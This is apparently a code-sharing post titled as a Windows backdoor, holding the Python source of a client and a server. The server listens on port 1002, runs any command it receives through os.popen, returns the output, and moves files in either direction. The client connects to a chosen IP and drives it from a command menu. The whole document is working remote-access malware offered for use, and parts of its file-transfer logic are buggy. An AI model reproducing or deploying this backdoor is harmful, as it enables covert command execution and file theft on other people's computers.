windows backdoor Client/Server - Python Code Bank

                #Backdoor Client
#Version: 0.2.0
#
#when give is invoked it will copy the targets byte data
#  it creats a new file named after the target; if you use
#  give on a file you already have it will append to it doubling the size
#  tests show no effect on this appending double.
#######

import os, socket

def ishere(f):
  x = 0
  for i in os.listdir(os.getcwd()):
    if i == f:
      x += 1
  return x


def take(fle):
  if fle[:13] == '=-=-start-=-=' or fle[-11:] == '=-=-fin-=-=':
    return True
  else: return False

 
def give(file):
  try:
    f = open(file,'rb')
    f = f.read()
    x = '=-=-start-=-='+f+'=-=-fin-=-='
    return x
  except IOError:
    return "No such file"


   
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((raw_input("I.P.:: "),1002)) #Change localhost to your servers IP

print"""
[-]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[-]
 l                                                                      l
 =                                                                      =
 l    .@@@@@@@@@@.    @@@@@@@@@ .@@@@@@@.  @@@  @@@     @@@@@@@.        l
 =  @@@@@@@@@@@@@@@@  @@@@@@@@@ @@@@@@@@@  @@@  @@@     @@    @@        =
 l  !!    @@@@    !!  @!!       @@       ! @@!  @@@     @!     @        l
 =  !     @!@!     !  @@!       @!         !@!  @!@     @@@@@@@.        =
 l        !@!!        !!@@@!@   !!         @!@!@!@!     @@@@@@@@        l
 =        !!!!        !@!!:@@   @!         !!!@!!!!     !:     @@       =
 l        !@:!        :!!       !:         !!:  !!!     !@     :!       l
 =        !:!:        @!:       !!       ! :!:  !:!     ::   :!:   @@   =
 l        :!:!        ::!       ::!:!:::!: :!!  !:      ::@:!!     @@   l
 =        ::!:        !::!!!::l :!::!::!:  ::!  :       !!::            =
 l         ::         :::        !:        ::           ::              l
 =         :          :          !         !            !               =
 l                                                                      l
 =                                                                      =
[-]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[-]

Type commands to view functions.
  syntax: Tech B>>commands
"""

                          
while 1:
  

  cmnd = raw_input("Tech B>>")
  if cmnd == "commands":

    print """
chdri 
Changes working drive.
  syntax: Tech B>>chdri D:
--------------------------------------------------------------------------------
=-=-take-=-=
copies the selected file to the directory
that contains the client program
  
syntax:
  Tech B>>=-=-take-=-=file_to_copy.exe
this function is not limited to the extention due to copying of the byte code
--------------------------------------------------------------------------------
=-=-give-=-=
copies the specifid file to the server side current directory
The server will ask what file.

syntax:
  Tech B>>=-=-give-=-=
  What file to give me? file.exe
""" 

 
  elif cmnd == '':
    print "Enter a command..."
    continue

  s.send(cmnd)
  data = s.recv(10000000)
 

  if data == "What file to give me?": 
    print data
    fi = raw_input("File: ")
    if ishere(fi) != 0:
      s.send(fi)
      chk = s.recv(1000000)
      if chk == 'ready %s' % fi:
        print 'ready %s' % fi
        mf = give(fi)
        s.send(mf)
      print 'done'
      s.send('done') 
    else:
      print "No such file..." 
      s.send("sorry")


  elif take(data) == True:  
    data = data[13:]
    while 1:
      try:
        if data[-11:] != '=-=-fin-=-=':
          nfile = open(cmnd[12:],"ab")
          nfile.write(data)
          data = s.recv(10000000)
        else: 
          nfile.write(data[:-11])
          nfile.close()
      except ValueError: break
 

  else: print data
   



#Backdoor Server
#Version 0.4.1
#######

import socket, os
import os.path


def cd(st):
  try:
    st.index("cd ")
    return True
  except ValueError: return False


def fil(cmnd):
  try:
    cmnd.index('=-=-take-=-=')
    return True
  except ValueError: return False


def take(file):
  file = file[12:]
  try:
    f = open(file,'rb')
    f = f.read()
    x = '=-=-start-=-='+f+'=-=-fin-=-='
    return x
  except IOError:
    return "No such file"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind(('',1002))


while 1:
  try:
    s.listen(5)
    conn, addr = s.accept()


    while 1: 
      data = conn.recv(1000000)


      if data == "cd..":
        x = os.path.split(os.getcwd())
        os.chdir(x[0])
        conn.send(x[0])


      #doesn't work with full paths ie "cd C:\Windows\Config\Sytem32\"
      elif cd(data) == True: 
        try:
          os.chdir(os.getcwd()+"\\%s" % data[3:])
          conn.send(os.getcwd())
        except WindowsError: conn.send("No Such dir..")


      elif fil(data) == True:
        fle = take(data)
        conn.send(fle)


      elif data == "=-=-give-=-=":
        conn.send("What file to give me?")
        fn = conn.recv(1000000)
        if fn == "sorry":
          continue
        nFile = open(fn,"ab")
        conn.send('ready %s' % fn)
        buff = conn.recv(1000000)
        nFile.write(buff[13:])
    

        while buff:
          try:
            buff = conn.recv(1000000)
            if buff == 'done':
              nFile.close()
            nFile.write(buff)
          except ValueError: break


      else:   
        c = os.popen(data)
        c = c.read()
        if c == '':
          conn.send("Not Readble")
        conn.send(c) 
 
  except socket.error:
    pass